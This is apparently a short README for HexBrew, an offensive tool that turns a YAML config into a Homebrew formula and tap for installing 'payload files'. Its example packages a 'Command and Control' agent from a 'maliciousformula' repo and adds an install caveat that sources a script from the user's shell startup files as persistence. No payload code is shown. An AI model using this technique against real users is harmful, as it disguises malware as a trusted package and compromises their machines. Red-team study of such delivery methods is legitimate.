HexBrew reads a YAML configuration file and outputs a formula and commands to create a homebrew tap
- Python 3
- PyYAML (install with: pip install pyyaml)
- Create a config.yaml file (see example below).
- Place your payload files in the
files/directory - Run the tool:
python hexbrew.py- Follow the printed GitHub commands to set up your Homebrew tap.
name: poseidon
version: 1.33.7
description: Command and Control
homepage: https://github.com/werdhaihai/
github_repo: werdhaihai/maliciousformula
files_dir: ./files
output_dir: ./dist
codesign: true
download_url:
commands:
caveat: |
To finish installation, add the following line to .zshrc or .bashrc
source #{bin}/completion.sh
Then reopen your terminal app 